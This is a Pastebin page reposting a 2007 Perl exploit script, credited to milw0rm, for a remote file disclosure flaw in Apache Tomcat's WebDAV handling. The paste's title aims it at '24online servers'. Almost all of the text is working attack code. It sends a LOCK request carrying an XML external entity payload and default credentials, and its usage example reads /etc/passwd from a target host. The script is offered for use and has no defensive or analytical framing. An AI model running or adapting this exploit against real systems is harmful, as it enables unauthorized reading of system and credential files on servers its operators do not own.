Tophat

RFD Apache tomcat on 24online servers

Nov 11th, 2013
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #******************************************************
  3. # Apache Tomcat Remote File Disclosure Zeroday Xploit
  4. # kcdarookie aka eliteb0y / 2007
  5. #
  6. # thanx to the whole team & andi :)
  7. # +++KEEP PRIV8+++
  8. #
  9. # This Bug may reside in different WebDav implementations,
  10. # Warp your mind!
  11. # +You will need auth for the exploit to work...
  12. #******************************************************
  13.  
  14. use IO::Socket;
  15. use MIME::Base64; ### FIXME! Maybe support other auths too ?
  16.  
  17. # SET REMOTE PORT HERE
  18. $remoteport = 8080;
  19.  
  20. sub usage {
  21. print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
  22. print "kcdarookie aka eliteb0y / 2007\n";
  23. print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
  24. print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
  25. }
  26.  
  27. if ($#ARGV < 2) {usage();}
  28.  
  29. $hostname = $ARGV[0];
  30. $webdavfile = $ARGV[1];
  31. $remotefile = $ARGV[2];
  32.  
  33. $username = $ARGV[3];
  34. $password = $ARGV[4];
  35.  
  36. my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
  37. PeerPort => $remoteport,
  38. Proto => 'tcp');
  39.  
  40. $|=1;
  41. $BasicAuth = encode_base64("$username:$password");
  42.  
  43. $KRADXmL =
  44. "<?xml version=\"1.0\"?>\n"
  45. ."<!DOCTYPE REMOTE [\n"
  46. ."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
  47. ."]>\n"
  48. ."<D:lockinfo xmlns:D='DAV:'>\n"
  49. ."<D:lockscope><D:exclusive/></D:lockscope>\n"
  50. ."<D:locktype><D:write/></D:locktype>\n"
  51. ."<D:owner>\n"
  52. ."<D:href>\n"
  53. ."<REMOTE>\n"
  54. ."<RemoteX>&RemoteX;</RemoteX>\n"
  55. ."</REMOTE>\n"
  56. ."</D:href>\n"
  57. ."</D:owner>\n"
  58. ."</D:lockinfo>\n";
  59.  
  60. print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
  61. print "kcdarookie aka eliteb0y / 2007\n";
  62. print "Launching Remote Exploit...\n";
  63.  
  64. $ExploitRequest =
  65. "LOCK $webdavfile HTTP/1.1\r\n"
  66. ."Host: $hostname\r\n";
  67.  
  68. if ($username ne "") {
  69. $ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
  70. }
  71. $ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;
  72.  
  73. print $sock $ExploitRequest;
  74.  
  75. while(<$sock>) {
  76. print;
  77. }
  78.  
  79. # milw0rm.com [2007-10-14]
Advertisement
Add Comment
Please, Sign In to add comment